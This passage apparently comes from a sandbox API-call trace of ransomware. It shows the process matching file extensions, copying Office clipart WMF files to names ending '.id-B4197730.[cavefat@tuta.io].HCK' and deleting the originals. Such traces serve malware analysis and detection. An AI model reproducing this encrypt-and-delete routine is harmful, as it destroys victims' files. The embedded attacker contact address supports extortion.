[0171.482] lstrlenW (lpString=".doc") returned 4 [0171.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.482] lstrlenW (lpString=".docx") returned 5 [0171.482] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.482] lstrlenW (lpString=".pdf") returned 4 [0171.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.482] lstrlenW (lpString=".xls") returned 4 [0171.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.482] lstrlenW (lpString=".xlsx") returned 5 [0171.482] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.482] lstrlenW (lpString=".ppt") returned 4 [0171.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".zip") returned 4 [0171.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.483] lstrlenW (lpString=".rar") returned 4 [0171.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString=".bz2") returned 4 [0171.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString=".7z") returned 3 [0171.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".dbf") returned 4 [0171.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".1cd") returned 4 [0171.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".jpg") returned 4 [0171.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".doc") returned 4 [0171.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString=".docx") returned 5 [0171.483] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.483] lstrlenW (lpString=".pdf") returned 4 [0171.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString=".xls") returned 4 [0171.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.483] lstrlenW (lpString=".xlsx") returned 5 [0171.483] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.483] lstrlenW (lpString=".ppt") returned 4 [0171.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".zip") returned 4 [0171.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.483] lstrlenW (lpString=".rar") returned 4 [0171.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString=".bz2") returned 4 [0171.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString=".7z") returned 3 [0171.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".dbf") returned 4 [0171.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.483] lstrlenW (lpString=".1cd") returned 4 [0171.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.484] lstrlenW (lpString=".jpg") returned 4 [0171.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.484] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.484] lstrlenW (lpString="J0240189.WMF") returned 12 [0171.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.491] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3524) returned 1 [0171.491] CloseHandle (hObject=0x2ec) returned 1 [0171.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf")) returned 0x220 [0171.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.502] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.502] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.513] GetLastError () returned 0x0 [0171.513] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xdc4, lpOverlapped=0x0) returned 1 [0171.514] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0171.515] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.515] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.515] SetEndOfFile (hFile=0x380) returned 1 [0171.519] CloseHandle (hObject=0x380) returned 1 [0171.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.520] SetEndOfFile (hFile=0x378) returned 1 [0171.525] CloseHandle (hObject=0x378) returned 1 [0171.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf")) returned 1 [0171.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.533] lstrlenW (lpString=".doc") returned 4 [0171.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString=".docx") returned 5 [0171.533] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.533] lstrlenW (lpString=".pdf") returned 4 [0171.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString=".xls") returned 4 [0171.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.533] lstrlenW (lpString=".xlsx") returned 5 [0171.533] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.533] lstrlenW (lpString=".ppt") returned 4 [0171.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.533] lstrlenW (lpString=".zip") returned 4 [0171.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.533] lstrlenW (lpString=".rar") returned 4 [0171.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString=".bz2") returned 4 [0171.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString=".7z") returned 3 [0171.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.533] lstrlenW (lpString=".dbf") returned 4 [0171.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.533] lstrlenW (lpString=".1cd") returned 4 [0171.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.533] lstrlenW (lpString=".jpg") returned 4 [0171.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.534] lstrlenW (lpString=".doc") returned 4 [0171.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString=".docx") returned 5 [0171.534] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.534] lstrlenW (lpString=".pdf") returned 4 [0171.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString=".xls") returned 4 [0171.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.534] lstrlenW (lpString=".xlsx") returned 5 [0171.534] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.534] lstrlenW (lpString=".ppt") returned 4 [0171.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.534] lstrlenW (lpString=".zip") returned 4 [0171.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.534] lstrlenW (lpString=".rar") returned 4 [0171.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString=".bz2") returned 4 [0171.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString=".7z") returned 3 [0171.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.534] lstrlenW (lpString=".dbf") returned 4 [0171.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.534] lstrlenW (lpString=".1cd") returned 4 [0171.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0171.534] lstrlenW (lpString=".jpg") returned 4 [0171.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.534] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.534] lstrlenW (lpString="J0241043.WMF") returned 12 [0171.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.542] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2738) returned 1 [0171.542] CloseHandle (hObject=0x374) returned 1 [0171.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf")) returned 0x220 [0171.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.550] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.550] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.555] GetLastError () returned 0x0 [0171.555] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xab2, lpOverlapped=0x0) returned 1 [0171.556] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xac0, lpOverlapped=0x0) returned 1 [0171.557] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.557] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.557] SetEndOfFile (hFile=0x2ec) returned 1 [0171.559] CloseHandle (hObject=0x2ec) returned 1 [0171.561] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.561] SetEndOfFile (hFile=0x374) returned 1 [0171.564] CloseHandle (hObject=0x374) returned 1 [0171.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf")) returned 1 [0171.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.569] lstrlenW (lpString=".doc") returned 4 [0171.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString=".docx") returned 5 [0171.569] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.569] lstrlenW (lpString=".pdf") returned 4 [0171.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString=".xls") returned 4 [0171.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.569] lstrlenW (lpString=".xlsx") returned 5 [0171.569] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.569] lstrlenW (lpString=".ppt") returned 4 [0171.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.569] lstrlenW (lpString=".zip") returned 4 [0171.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.569] lstrlenW (lpString=".rar") returned 4 [0171.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString=".bz2") returned 4 [0171.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString=".7z") returned 3 [0171.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.569] lstrlenW (lpString=".dbf") returned 4 [0171.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.569] lstrlenW (lpString=".1cd") returned 4 [0171.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.569] lstrlenW (lpString=".jpg") returned 4 [0171.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.570] lstrlenW (lpString=".doc") returned 4 [0171.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString=".docx") returned 5 [0171.570] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.570] lstrlenW (lpString=".pdf") returned 4 [0171.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString=".xls") returned 4 [0171.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.570] lstrlenW (lpString=".xlsx") returned 5 [0171.570] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.570] lstrlenW (lpString=".ppt") returned 4 [0171.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.570] lstrlenW (lpString=".zip") returned 4 [0171.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.570] lstrlenW (lpString=".rar") returned 4 [0171.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString=".bz2") returned 4 [0171.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString=".7z") returned 3 [0171.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.570] lstrlenW (lpString=".dbf") returned 4 [0171.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.570] lstrlenW (lpString=".1cd") returned 4 [0171.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0171.570] lstrlenW (lpString=".jpg") returned 4 [0171.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.570] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.570] lstrlenW (lpString="J0241781.WMF") returned 12 [0171.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.571] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1970) returned 1 [0171.571] CloseHandle (hObject=0x378) returned 1 [0171.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf")) returned 0x220 [0171.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.578] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.578] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.583] GetLastError () returned 0x0 [0171.583] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7b2, lpOverlapped=0x0) returned 1 [0171.584] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7c0, lpOverlapped=0x0) returned 1 [0171.585] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.585] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.585] SetEndOfFile (hFile=0x39c) returned 1 [0171.586] CloseHandle (hObject=0x39c) returned 1 [0171.586] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.586] SetEndOfFile (hFile=0x330) returned 1 [0171.589] CloseHandle (hObject=0x330) returned 1 [0171.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf")) returned 1 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0171.593] lstrlenW (lpString=".doc") returned 4 [0171.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString=".docx") returned 5 [0171.593] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.593] lstrlenW (lpString=".pdf") returned 4 [0171.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.593] lstrlenW (lpString=".xls") returned 4 [0171.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.593] lstrlenW 